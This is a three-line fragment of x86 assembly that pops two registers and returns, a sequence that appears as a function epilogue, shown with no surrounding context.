pop edi
pop ebp
ret